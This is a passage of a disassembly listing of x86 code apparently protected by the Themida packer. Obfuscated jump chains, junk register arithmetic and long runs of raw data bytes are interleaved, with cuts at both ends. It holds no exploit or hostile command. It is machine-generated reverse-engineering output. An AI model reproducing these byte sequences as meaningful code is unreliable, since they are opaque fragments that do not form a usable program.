24048900h dd 0EC81E089h, 4, 0B9240C89h, 7D147AA0h, 0AB96E956h, 4580000h dd 9BD3E9BEh, 805A0000h, 0CC2899E9h, 35AEE9h, 24148900h dd 978AE9h db 0 ; --------------------------------------------------------------------------- loc_553B65: ; CODE XREF: Themida_:00554524j add eax, 67D81E7Dh sub eax, edi sub eax, 67D81E7Dh pop edi add ebp, eax pop eax sub esp, 4 mov [esp], eax mov eax, 2 jmp loc_56648C ; --------------------------------------------------------------------------- dd 0CD2A2268h, 0E9C1595Fh, 1BC18104h, 507FF920h, 33D8E9h dd 4C68100h, 57000000h, 5733EDBFh, 79F8E92Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553BAE: ; CODE XREF: Themida_:0055607Bj add eax, 0F862460h pop esi jmp loc_564595 ; --------------------------------------------------------------------------- db 66h, 89h, 4 dd 0DB2CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553BC2: ; CODE XREF: Themida_:0055FBF1j add eax, 4BDE4F1Eh add eax, esi sub eax, 4BDE4F1Eh jmp loc_560B57 ; --------------------------------------------------------------------------- loc_553BD3: ; CODE XREF: Themida_:0055DF4Dj pop eax add ecx, ebp pop ebp xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_557EBB ; --------------------------------------------------------------------------- dw 489h dd 1667B824h, 0D0F73378h, 297FE9h, 0F7464E00h, 81EE81DEh dd 89C66043h, 0CB2D5EF0h, 4865AE70h, 34703548h, 4DE92BE6h dd 89000127h, 4BD242Ch, 29000000h, 34875DEEh, 24248B24h dd 54243489h, 0BA52505Eh, 419F3764h, 0EB7AE9h db 0 ; --------------------------------------------------------------------------- loc_553C35: ; CODE XREF: Themida_:00564758j shl ebp, 3 sub ebp, 0D3999519h add edi, ebp push dword ptr [esp] pop ebp add esp, 4 xor edi, 38CFF3Dh jmp loc_55CA05 ; --------------------------------------------------------------------------- aUs1j db 'Ué1J',0 dw 3100h dd 0C33240Ch, 47E95C24h, 5A000016h, 9FFAE9h, 8080B300h dd 0EA80FAEAh, 33E951AEh, 5C000025h, 2474FF55h, 2434FF04h dd 0E9242C8Bh, 3956h, 93E9F529h, 5D0000FAh, 835EF031h dd 148904ECh, 552EBA24h, 0B9511416h, 760D2094h, 0C106E9C1h dd 0F18103E9h, 7BFD0F53h, 0F7CAC181h, 0B850F67Ah, 5E602C69h dd 0FDF8E9h, 83D5F700h, 348904ECh, 0E49BE924h, 0E8C10000h dd 0E8C14007h, 8DBE5608h, 290000AFh, 9BDE9F0h, 815C0001h dd 4ECh, 240C8900h, 2434FF54h, 0E2895259h, 4C281h, 0C2830000h dd 24148704h, 0E56AE9h db 0 ; --------------------------------------------------------------------------- loc_553D09: ; CODE XREF: Themida_:00559C9Bj mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub ecx, 0CAE5D4BFh push 5620h mov [esp], ecx pop edi push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_5658A4 ; --------------------------------------------------------------------------- dw 43BBh dd 817DF265h, 1C1044C3h, 8AC38104h, 810EB256h, 0DB53C0C3h dd 0F381436Bh, 0FC9C1FD6h, 5648C181h, 0D9014722h, 9150E953h dd 0B9510000h, 1, 0E959CE01h, 774Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55D36E ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8124048Bh, 4C4h, 0E9545500h, 96B5h, 0E941C280h, 1126Ch ; --------------------------------------------------------------------------- loc_553DA8: ; CODE XREF: Themida_:0055637Dj push 7FE9h jmp loc_5626F6 ; --------------------------------------------------------------------------- dw 0D829h dd 68241C8Bh, 0BEAh, 54241C89h, 6BEEE9h, 0F1814900h, 226B3D0Ch dd 0BA83E9h, 0C3816600h, 0D9E9163Fh db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_553DDB: ; CODE XREF: Themida_:0056412Dj push eax sub esp, 4 jmp loc_55D1C8 ; --------------------------------------------------------------------------- loc_553DE4: ; CODE XREF: Themida_:00560530j neg edx and edx, 2E0C0C23h or edx, 5F185A0Eh push edi mov edi, 40872992h add edi, 1E953478h xor edx, edi pop edi mov eax, edx pop edx add esi, eax pop eax xchg esi, [esp] pop esp and eax, ebx mov ebx, [esp] push edx mov edx, esp push esi mov esi, 6AF954B3h shr esi, 4 jmp loc_55C9E9 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 0FF242C89h, 0E9042474h dd 9F64h, 9D1C77FFh, 4105866h, 9FE99C24h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E4F: ; CODE XREF: Themida_:00551BC5j sub ecx, 167E4282h or ecx, 21F84CE1h xor ecx, 0B1FF112Ch mov ebx, ecx pop ecx jmp loc_56276E ; --------------------------------------------------------------------------- loc_553E69: ; CODE XREF: Themida_:00555852j mov [esp], edi push 3D06403Fh pop edi sub edi, 4E047B84h shr edi, 7 push ecx mov ecx, 7DC9405Bh sub ecx, 7BEB3CD2h sub edi, ecx pop ecx mov ebp, edi pop edi push ecx mov ecx, ebp push ecx pop eax pop ecx pop ebp add eax, ebx jmp loc_566B09 ; --------------------------------------------------------------------------- db 0F7h dd 1BF57D5h, 95DA95Ah, 95E95FFDh, 87000006h, 335C242Ch dd 3C31243Ch, 243C3324h, 6624248Bh, 66240C89h, 66C8B60Fh dd 23E99C51h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553ECB: ; CODE XREF: Themida_:005617ADj xchg ebx, edx not ebx jmp loc_5569B8 ; --------------------------------------------------------------------------- loc_553ED4: ; CODE XREF: Themida_:00553437j sub edi, 7EE24132h inc edi sub esp, 4 mov [esp], ecx jmp loc_565E89 ; --------------------------------------------------------------------------- dw 1C87h dd 0A11E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553EEE: ; CODE XREF: Themida_:0055D42Dj push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_560257 ; --------------------------------------------------------------------------- loc_553F0B: ; CODE XREF: Themida_:0055A968j xchg ebx, [esp] pop esp jmp loc_554339 ; --------------------------------------------------------------------------- loc_553F14: ; CODE XREF: Themida_:005545C0j add [esp+8], esi push eax mov eax, 1A907A25h add [esp+0Ch], eax pop eax jmp loc_55889D ; --------------------------------------------------------------------------- dd 0E9240C31h, 2265h, 5D2434FFh, 0ABE95456h, 0E9000051h dd 0FFFFD7AEh, 0E9E08950h, 0C0Fh, 0FF2434FFh, 0C8B2434h dd 4C48124h, 81000000h, 4C4h, 39166800h, 0C890000h, 0E3895324h dd 0F836E9h db 0 ; --------------------------------------------------------------------------- loc_553F6D: ; CODE XREF: Themida_:00563745j pop esp push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_559938 ; --------------------------------------------------------------------------- loc_553F82: ; CODE XREF: Themida_:0055845Aj add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] jmp loc_5565C8 ; --------------------------------------------------------------------------- loc_553F90: ; CODE XREF: Themida_:00558DAFj push ebx jmp loc_55FCCD ; --------------------------------------------------------------------------- dw 34FFh aXsV db '$XéÝV',0 dw 8800h dd 0F5285AF5h, 4F3CE95Ah, 0CC800000h, 5E4C0FEh, 9DB75366h dd 5B66FC28h, 48BE188h, 4C48324h, 83E9E100h, 0BAFFFFFBh dd 54091542h, 14E9D2F7h db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_553FD3: ; CODE XREF: Themida_:00551E7Fj mov dl, bl jmp loc_55EF8B ; --------------------------------------------------------------------------- loc_553FDA: ; CODE XREF: Themida_:00551B40j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_5516EE ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 4C481h, 0C3810000h, 2462606Fh, 0C768C329h dd 89000028h, 19E92404h db 14h, 1, 0 ; --------------------------------------------------------------------------- loc_554013: ; CODE XREF: Themida_:0056002Fj add edx, 4 xchg edx, [esp] jmp loc_558626 ; --------------------------------------------------------------------------- loc_554021: ; CODE XREF: Themida_:0055D4B9j add esp, 4 not ecx shl ecx, 2 neg ecx push edi mov edi, 526EE3C4h jmp loc_554B67 ; --------------------------------------------------------------------------- db 58h, 0C0h, 0E5h dd 0FFC58003h, 8607E5C0h, 913AE9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55404A: ; CODE XREF: Themida_:00561960j add esi, 4 xchg esi, [esp] pop esp jmp loc_552A68 ; --------------------------------------------------------------------------- dw 34FFh dd 24148B24h, 8104C483h, 4C4h, 24348B00h, 4C481h, 0D0310000h dd 0D031C231h, 1C8B5453h, 4C48124h, 68000000h, 0D5Fh, 0B8240489h dd 4, 29C0E9h db 0 ; --------------------------------------------------------------------------- loc_554091: ; CODE XREF: Themida_:0055689Ej sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_563DBD ; --------------------------------------------------------------------------- aWs db '\Wé:+',0 align 2 dw 0E181h dd 5DFC6C86h, 68h, 18BE900h, 0F2310000h, 0AE68D631h, 8900002Bh dd 0FF572414h, 5F042474h, 1A41E9h, 422FBD00h, 555226FEh dd 5264BABDh, 1BBF572Ch, 812DCE18h, 3D29C1EFh, 0EFC14F7Ah dd 6FCF8105h, 0F742511Eh, 4FF781DFh, 290F0C3Ah, 9AF3E9FDh dd 8B5A0000h, 8F682434h, 89000052h, 0EC83240Ch, 24248904h dd 3630E9h, 0C2815A00h, 631D154Eh, 0EA81CA29h, 631D154Eh dd 81FA0159h, 7A4DDAC2h, 2434FF09h, 0FFE306E9h db 0FFh ; --------------------------------------------------------------------------- loc_554139: ; CODE XREF: Themida_:0055A367j add edx, edi sub edx, 72062C50h jmp loc_552D29 ; --------------------------------------------------------------------------- dw 815Eh dd 58F955C6h, 0E9F789C6h, 0E375h, 7FB5C181h, 0E9D11800h dd 0C919E9h, 7E8C000h, 5295B652h, 0D653E9h, 0C1815900h dd 4, 46850h, 48B0000h, 4C48324h, 8758C101h, 685C240Ch dd 58F5h, 57240C89h, 4004E9h, 68525D00h, 7263308Eh, 0FD45E9h db 0 ; --------------------------------------------------------------------------- loc_5541A1: ; CODE XREF: Themida_:0055D612j add eax, ebp pop ebp add esi, 1A2B176Ah add esi, eax push edi mov edi, 6C560906h add edi, 29F52628h jmp loc_555AF6 ; --------------------------------------------------------------------------- db 66h, 59h, 80h dd 880460F2h, 5A68D000h, 89000077h, 40B5240Ch, 431AE9h db 0 ; --------------------------------------------------------------------------- loc_5541D5: ; CODE XREF: Themida_:0055D7B8j sub eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_560E49 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0DB4F97B9h, 84E98166h, 0E934AD0Ch, 0DBBFh, 0A1C380h dd 0A1EB80E3h, 8B82C380h, 0C4812404h, 4, 0E9C0B60Fh, 7020h ; --------------------------------------------------------------------------- loc_554214: ; CODE XREF: Themida_:0055197Aj not al jmp loc_55A354 ; --------------------------------------------------------------------------- loc_55421B: ; CODE XREF: Themida_:005627ECj add esp, 4 add esp, 4 push dword ptr [esp] pop edx add esp, 4 push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_55F293 ; --------------------------------------------------------------------------- db 29h, 0Ch, 24h dd 43F18159h, 2982049Eh, 575B59C8h, 71B3B951h, 0CF89106Ah dd 4D2F6859h, 14890000h, 2141BA24h, 0BE560DA0h, 359C629Ah dd 92F4E9h, 59CB8900h, 64C3815Ah, 4365AD38h, 144468h, 24048900h dd 9D015A68h, 663CE93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_554292: ; CODE XREF: Themida_:00560C60j mov esi, 24FE46B3h add [esp+8], esi jmp loc_554A97 ; --------------------------------------------------------------------------- dd 797E355Ah, 982D6D97h, 15825DEh, 28D2E9C2h, 0B9510000h dd 4, 8846E9h db 0 ; --------------------------------------------------------------------------- loc_5542BD: ; CODE XREF: Themida_:005622DEj add edx, eax mov eax, [esp] add esp, 4 sub edx, 2BB3152Fh add edx, ebp add edx, 2BB3152Fh jmp loc_5546E0 ; --------------------------------------------------------------------------- dd 6D46EF81h, 0E7C179D4h, 0FDEF8104h, 0E9DBFB4Dh, 41C9h ; --------------------------------------------------------------------------- loc_5542EC: ; CODE XREF: Themida_:00563859j sub ecx, ebx pop ebx sub esp, 4 mov [esp], edx jmp loc_558A4B ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4C7h, 243C8700h, 0E924248Bh, 0B9AEh, 2474FF53h dd 0A102E904h, 9D680000h, 0E9000008h, 402Eh ; --------------------------------------------------------------------------- loc_554328: ; CODE XREF: Themida_:0055A4B9j mov edi, esp jmp loc_56295F ; --------------------------------------------------------------------------- db 42h dd 2414F752h, 0FFF53CE9h db 0FFh ; --------------------------------------------------------------------------- loc_554339: ; CODE XREF: Themida_:00553F0Fj and eax, edx push dword ptr [esp] pop edx jmp loc_552BF3 ; --------------------------------------------------------------------------- dd 50241489h, 0D3A0E99Ch, 1489FFFFh, 56B56824h, 4A5A2F6Fh dd 20FDE281h, 0EA814DCEh, 0D4E00B0h, 0E7E9D689h, 5E0000A6h dd 8324048Bh, 0C3304C4h, 240C3124h, 5C240C33h, 0BACE9h dd 7A8E6800h, 24890000h, 24048124h, 4, 0CBF1E9h, 243C3300h dd 0E9243C31h, 10C8Bh, 0D1DCE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5543A6: ; CODE XREF: Themida_:00553164j sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5630A9 ; --------------------------------------------------------------------------- loc_5543C6: ; CODE XREF: Themida_:0056068Aj sub esp, 4 mov [esp], eax mov eax, esp push 3803h mov [esp], edi mov edi, 4 sub eax, 6F094444h add eax, 32AB1231h add eax, edi sub eax, 32AB1231h jmp loc_5589EB ; --------------------------------------------------------------------------- dd 240C8B66h, 61668h, 240C8900h, 2F7568h, 24248900h, 4240481h dd 0E9000000h, 0FFFFF681h, 0E9242C33h, 351Ah, 448068h dd 5D42E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554426: ; CODE XREF: Themida_:00563EF1j mov dl, bh mov [ecx], dl pop edx jmp loc_55C6B2 ; --------------------------------------------------------------------------- loc_554430: ; CODE XREF: Themida_:00561728j pop esi push esi jmp loc_55B18D ; --------------------------------------------------------------------------- db 89h dd 5150241Ch, 0CAB099B1h, 0C8BC828h, 4C48324h, 0C7287FB7h dd 98DCE958h, 6D680000h, 8B406E3Eh, 0C4812404h, 4, 0C59CE9h db 0 ; --------------------------------------------------------------------------- loc_554465: ; CODE XREF: Themida_:00564393j pop eax mov ebp, [esp] jmp loc_55F519 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 68000000h, 7553h, 0E9242C89h, 0DB4Ah ; --------------------------------------------------------------------------- loc_554484: ; CODE XREF: Themida_:0055F028j mov edi, esp sub esp, 4 mov [esp], edx mov edx, 4 jmp loc_5647E7 ; --------------------------------------------------------------------------- dw 814Bh dd 19032F3h, 0E9DD2938h, 9179h ; --------------------------------------------------------------------------- loc_5544A4: ; CODE XREF: Themida_:0055CCF7j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, 3DFD2FC5h sub ebp, 0E870E3B4h jmp loc_555B66 ; --------------------------------------------------------------------------- db 0B9h, 35h, 27h dd 0D9F77534h, 83BCE951h, 0E9AC0000h, 0FFFFE2B4h ; --------------------------------------------------------------------------- loc_5544D8: ; CODE XREF: Themida_:00556DABj add esp, 4 add esp, 4 add esp, 4 jmp loc_5565F2 ; --------------------------------------------------------------------------- db 50h, 0B8h, 7Dh dd 1784603h, 34FF58C5h, 89535F24h, 4C381E3h, 55000000h dd 4BDh, 5DEB0100h, 8986E9h db 0 ; --------------------------------------------------------------------------- loc_55450D: ; CODE XREF: Themida_:0055C175j neg edi or edi, 68E0154Ch xor edi, 48606E08h push edx mov edx, 0F56C7126h sub edi, edx pop edx jmp loc_553B65 ; --------------------------------------------------------------------------- aAfsaP db '€ä™€Äp',0 dd 1545E9E3h db 1, 0 ; --------------------------------------------------------------------------- loc_554536: ; CODE XREF: Themida_:0055C378j push 5A7Eh jmp loc_55D9E8 ; --------------------------------------------------------------------------- aVss db 'Vé‘!',0 align 2 a0qsn db '0ïénÉ',0 dd 6FCE6800h, 0C890000h, 4EC8124h, 89000000h, 8EB62414h dd 0D7E9F588h, 0F6000000h, 6E31E9DCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55456E: ; CODE XREF: Themida_:0055695Ej mov esi, 46CC4E73h not esi shr esi, 5 xor esi, 2B63D09Dh jmp loc_562688 ; --------------------------------------------------------------------------- db 5Ah dd 8B24048Fh, 14892424h, 0E99C5024h, 0FFFFD15Ah ; --------------------------------------------------------------------------- loc_554594: ; CODE XREF: Themida_:0055B868j sub edx, 8B6904h loc_55459A: ; CODE XREF: Themida_:00559D11j ; Themida_:0055FCE1j push dword ptr [edi+24h] push 228Dh mov [esp], ecx mov ecx, 93668C7h push esi mov esi, 3CB94B22h sub dword ptr [esp+8], 72482EE8h sub dword ptr [esp+8], 1A907A25h jmp loc_553F14 ; --------------------------------------------------------------------------- loc_5545C5: ; CODE XREF: Themida_:005556D5j add ecx, 0FFFFFFFFh dec ecx dec ecx add ecx, 0F9D3BDFEh mov edx, ecx mov ecx, [esp] add esp, 4 jmp loc_564CDC ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 8151242Ch, 4ECh dd 24148900h, 0BE6944BAh, 5AD18948h, 110EDE9h, 58C32800h dd 27B68h, 4A3CE900h, 5EBE0000h, 8900C655h, 0E3815EF3h dd 5D210D0h, 8FCB8143h, 817C3A14h, 256CEACBh, 15BFE947h dd 3C890000h, 0ECA4E924h, 525AFFFFh, 8904EC83h, 93E92404h dd 55000018h, 0F85A40BDh, 5DEE295Eh, 0FBE9CE01h, 8300000Fh dd 0FF5204C2h, 5A042474h, 5C24048Fh, 81E28952h, 4C2h, 68525700h dd 46CF53D1h, 175FE95Ah, 815B0001h, 4C3h, 4C38100h, 87000000h dd 0E95C241Ch, 0B226h, 0E987E1D1h, 8CE9D5F7h, 8F0000F4h dd 0FCE92404h, 8B000019h, 9CE92404h, 0C100007Bh, 0E5E904EDh dd 51000107h, 524FC2B9h, 0E9CD0184h, 6025h, 109A68h, 241C8900h dd 5CBB68h, 24248900h, 4240481h, 0E9000000h, 1C28h ; --------------------------------------------------------------------------- loc_5546E0: ; CODE XREF: Themida_:005542D3j pop ebp push ebp jmp loc_55DA3C ; --------------------------------------------------------------------------- loc_5546E7: ; CODE XREF: Themida_:0055C6E5j shr esi, 5 not esi xor esi, 0F9C3FE8Eh add edx, 4EE96A53h add edx, esi sub edx, 4EE96A53h pop esi pop ecx push ecx jmp loc_566180 ; --------------------------------------------------------------------------- loc_554708: ; CODE XREF: Themida_:00561C40j xor eax, 2262E05Dh jmp loc_563055 ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 0C0830000h, 0DA06E904h, 0DB68FFFFh, 8900002Ch dd 0E389241Ch, 4C381h, 0C3810000h, 4, 5C241C87h, 192047C7h dd 314C6A3Fh, 34FF2047h, 2434FF24h, 582434FFh, 8304C483h dd 0B6E904C4h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55475B: ; CODE XREF: Themida_:00558831j add edx, ecx pop ecx mov edi, edx pop edx add ecx, edi push dword ptr [esp] pop edi push edx mov edx, esp push ebx mov ebx, 16A5DD9h jmp loc_5580D8 ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 33243431h, 248B2434h, 1FEF8124h, 1106917h, 1FC781DFh dd 8B106917h, 8951241Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 8956FD5Ch, 4C681E6h, 0E9000000h, 29DFh, 0FF5C381h, 0EB81174Ah dd 54CFE271h, 0E95BD829h, 192Dh, 4EC835Fh, 89243489h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 0FEB2E9h, 241C8900h, 1BBh dd 0ADC28100h, 1086B3Eh, 0F0A9E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5547FA: ; CODE XREF: Themida_:00551846j pop ecx jmp loc_5539CD ; --------------------------------------------------------------------------- loc_554800: ; CODE XREF: Themida_:00560F81j sub edx, 37309E7Eh sub edi, edx jmp loc_5600A1 ; --------------------------------------------------------------------------- db 50h, 51h, 0B9h dd 3BE7796Fh, 5511F181h, 0C8893350h, 78F0E959h, 0C7810000h dd 51261811h, 0BC3BE9h db 0 ; --------------------------------------------------------------------------- loc_55482D: ; CODE XREF: Themida_:00559469j push 5D1A6584h pop ebp sub ebp, 757E1180h shl ebp, 5 jmp loc_5634D0 ; --------------------------------------------------------------------------- loc_554841: ; CODE XREF: Themida_:00561AB9j and eax, 3CA870ABh xor eax, 3420700Eh add edi, eax pop eax add edi, 4 jmp loc_557B45 ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 4C18300h, 0C5BE951h, 0C1810001h, 0AA418CFh, 6855D929h dd 0AA418CFh, 5DE9295Dh, 0FFD855E9h, 8092B1FFh, 0C180BEE1h dd 0DEC98017h, 0FFEB43E9h db 0FFh ; --------------------------------------------------------------------------- loc_554891: ; CODE XREF: Themida_:0055FE18j sub al, ch pop ecx push ecx push ebx push ecx mov cl, 6Ah sub cl, 7Dh inc cl xor cl, 2 push eax mov ah, cl mov bh, ah pop eax pop ecx add bh, 1 not bh inc bh inc bh sub bh, 3Bh jmp loc_55EFE0 ; --------------------------------------------------------------------------- db 31h, 0C3h, 68h dd 1AB7h, 0B7241C89h, 66D7F62Dh, 1B151h, 685966CFh, 543Ah dd 0B2241489h, 80DAF605h, 0D720F0EAh, 6652E9h db 0 ; --------------------------------------------------------------------------- loc_5548E5: ; CODE XREF: Themida_:0055DD9Fj mov dh, bl jmp loc_5520F8 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 8704ED83h, 14E9242Ch, 5C000116h, 0FFCDE9E9h dd 0E157BFFFh, 0ED81D435h, 7B52140Bh, 0C581FD29h, 7B52140Bh dd 0EEC3815Fh, 0E969447Bh, 0A01Bh ; --------------------------------------------------------------------------- loc_554924: ; CODE XREF: Themida_:005653F6j movzx eax, al push dword ptr [edi+eax*4] jmp loc_5516EE ; --------------------------------------------------------------------------- loc_55492F: ; CODE XREF: Themida_:0055264Fj push dword ptr [esp] mov eax, [esp] push ecx jmp loc_555FAA ; --------------------------------------------------------------------------- db 81h dd 4C4h, 7EED8100h, 106B169h, 0D8E952F5h, 0BB000120h, 6C8B3312h dd 515BDA31h, 0D2327AB9h, 0ABF18174h, 8178723Ch, 375845C1h dd 18F1812Bh, 3109F14Ch, 0D03159CAh, 0FE68565Ah, 8900007Bh dd 1EBD242Ch, 8104F20Ah, 555EA9F5h, 5BC5E972h, 0C870000h dd 18E4E924h, 0C5810000h, 5F647126h, 91E9DD01h, 5C0000FDh dd 949DE9h, 0FFBE5600h, 835A7301h, 1C8904ECh, 4563BB24h dd 0BD5549F1h, 3184523Fh, 84E9EB29h db 0Ch, 1, 0 ; --------------------------------------------------------------------------- loc_5549C7: ; CODE XREF: Themida_:00555EE8j mov esp, [esp] sub esp, 4 mov [esp], ebx push edi mov edi, 37940F6Dh jmp loc_552447 ; --------------------------------------------------------------------------- db 1 dd 0EEC181E9h, 0E915B82Ch, 0CC01h, 5F25055Bh, 0C9050678h dd 2929401Fh, 1FC92DC8h, 0BF572940h, 7DC76447h, 0C106E7C1h dd 8CE903EFh, 0FEFFFFEFh, 5EFC0CFh, 6635F780h, 5F8CE951h dd 0D7310000h, 96BA525Ah, 5332782Ch, 0DE1D51BBh, 0F7CB8716h dd 0D9BDE9D1h, 0E7810000h, 5C5F6B8Ch, 307BCF81h, 0C7811CC3h dd 0C3012E33h, 34FFFE31h, 243C8B24h, 8104C483h, 4C4h, 4EC8100h dd 89000000h, 0ACBB241Ch, 29011113h, 83E95BDEh, 890000D3h dd 243C8BFBh, 724CE9h db 0 ; --------------------------------------------------------------------------- loc_554A75: ; CODE XREF: Themida_:005639CBj xor esi, 4217CC7Eh jmp loc_56396A ; --------------------------------------------------------------------------- loc_554A80: ; CODE XREF: Themida_:0055D177j pop ecx jmp loc_5516EE ; --------------------------------------------------------------------------- dw 348Bh dd 4C48124h, 0F7000000h, 1AE953D6h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554A97: ; CODE XREF: Themida_:0055429Bj mov esi, [esp] add esp, 4 add [esp+4], esi jmp loc_5521F5 ; --------------------------------------------------------------------------- db 0B9h, 9Bh, 51h dd 0E1E972F6h, 66FFFFFBh, 258BEE81h, 0F311E9h, 24148900h dd 0D1581B68h, 0DCE95A78h, 800000BCh, 0CE30EFC1h, 8B2434FFh dd 0D9E9240Ch, 0FF0000C0h, 34FF2434h, 24048B24h, 0FFE1CFE9h dd 54BE56FFh, 0E9268059h, 1CC7h ; --------------------------------------------------------------------------- loc_554AF4: ; CODE XREF: Themida_:00565EA0j xor ebx, eax pop eax jmp loc_55BCA2 ; --------------------------------------------------------------------------- loc_554AFC: ; CODE XREF: Themida_:00566B4Dj add esp, 4 and edx, 393F1FB8h sub edx, 9AFAD8AFh mov edi, edx pop edx add edi, 7E443F36h push edi not dword ptr [esp] mov edi, [esp] add esp, 4 shr edi, 5 jmp loc_55DA87 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 6804C483h, 6185h, 0B9240C89h, 4, 0C8BCF01h, 0E0895024h dd 405h, 40500h, 4870000h, 0CDE95C24h, 53FFFFD3h, 4BBh dd 5BD80100h, 25E95351h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554B67: ; CODE XREF: Themida_:00554034j sub ecx, 5DD7436Dh add ecx, edi add ecx, 5DD7436Dh pop edi jmp loc_5534DD ; --------------------------------------------------------------------------- loc_554B7B: ; CODE XREF: Themida_:005571DEj pop ebx push eax mov ah, dl mov dl, bh jmp loc_55F833 ; --------------------------------------------------------------------------- loc_554B86: ; CODE XREF: Themida_:005605B3j push edx mov edx, 0 add edx, eax add dword ptr [edx], 1 pop edx pop eax mov edx, [esp] add esp, 4 jmp loc_565FFB ; --------------------------------------------------------------------------- loc_554BA1: ; CODE XREF: Themida_:0056279Fj push ebx mov bh, 38h not bh add bh, 6 xor bh, 85h xchg dl, bh push ebx push eax jmp loc_552B70 ; --------------------------------------------------------------------------- db 5Ah, 29h, 0D8h dd 0D723DD05h, 241C8B5Ch, 4C481h, 0B8050000h, 16A1841h dd 41B82DD8h, 0B9516A18h, 4B5F757Bh, 0FF59C801h, 3CE92434h dd 10000ABh, 0BA5258C6h, 4, 867E9h, 0C8B6600h, 2D776824h dd 2C890000h, 4EC8124h, 0E9000000h, 11B79h, 0E92434FFh dd 106C6h, 70E9D3F6h, 0B7FFFFE0h, 58E730EBh, 80B7C780h dd 0E62C5FC7h, 0E604F800h, 0E92434FFh, 0FFFFCC7Fh ; --------------------------------------------------------------------------- loc_554C30: ; CODE XREF: Themida_:00562700j push ebx jmp loc_56315D ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 3A736856h, 3CE92BF0h, 0FF0000A9h, 0B7E92434h dd 890000B0h, 0C15F5EF2h, 814204E2h, 17D665F2h, 1B17E955h dd 248B0001h, 4FF6624h, 7FE99C24h, 0FEFFFFCAh, 23EE80C6h dd 2EE9D6F6h, 0FFFFD3h, 0E6D059CEh, 806ACE80h, 0F0880FF6h dd 8B2434FFh, 7BE92414h, 56000080h, 0A4A4BBEh, 26E9513Ah dd 8BFFFFF8h, 8F542424h, 57562404h, 0FFD946E9h, 0E9F801FFh dd 0BFB1h ; --------------------------------------------------------------------------- loc_554CB4: ; CODE XREF: Themida_:00565C65j pop edx and bh, ch mov ecx, [esp] add esp, 4 xor bh, 0CDh sub bh, 0F6h xor al, bh jmp loc_556AD0 ; --------------------------------------------------------------------------- loc_554CCA: ; CODE XREF: Themida_:005631A3j mov [esp], esi not dword ptr [esp] pop esi xor [esp], esi xor esi, [esp] jmp loc_561929 ; --------------------------------------------------------------------------- dd 808EC780h, 5DE910C7h, 81000078h, 0B46889C2h, 0D2D3E922h dd 0E95BFFFFh, 1F01h, 8B243C33h, 4012424h, 0E7E99C24h dd 93FFFFC9h, 88EFEB81h, 57E9DB0Ah, 0FFFFFFFBh, 34FF3877h dd 240C8B24h, 32AF68h, 24048900h, 617CE9h db 0 ; --------------------------------------------------------------------------- loc_554D29: ; CODE XREF: Themida_:00552C9Bj sub esp, 4 mov [esp], ebx push dword ptr [esp] jmp loc_552BB9 ; --------------------------------------------------------------------------- dw 0DA29h dd 0C1DAF75Bh, 0BD5507EAh, 5174ED6h, 2929ED81h, 0EA298D09h dd 0E0C7E9h, 0F7E6D100h, 0DFF681D6h, 8123E04Bh, 1B8160F6h dd 5EF501B3h, 4BA52h, 0D5010000h, 242C335Ah, 33242C31h dd 248B242Ch, 6BE9C324h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554D83: ; CODE XREF: Themida_:005621CBj inc edi push eax mov eax, 749A1894h shr eax, 3 and eax, 53E525D0h xor eax, ecx jmp loc_563385 ; --------------------------------------------------------------------------- db 50h, 81h, 0ECh dd 4, 68241489h, 70FD3135h, 5A58525Ah, 4244431h, 0E9565858h dd 0F603h, 53240C89h, 0BB030EBBh, 31EB8116h, 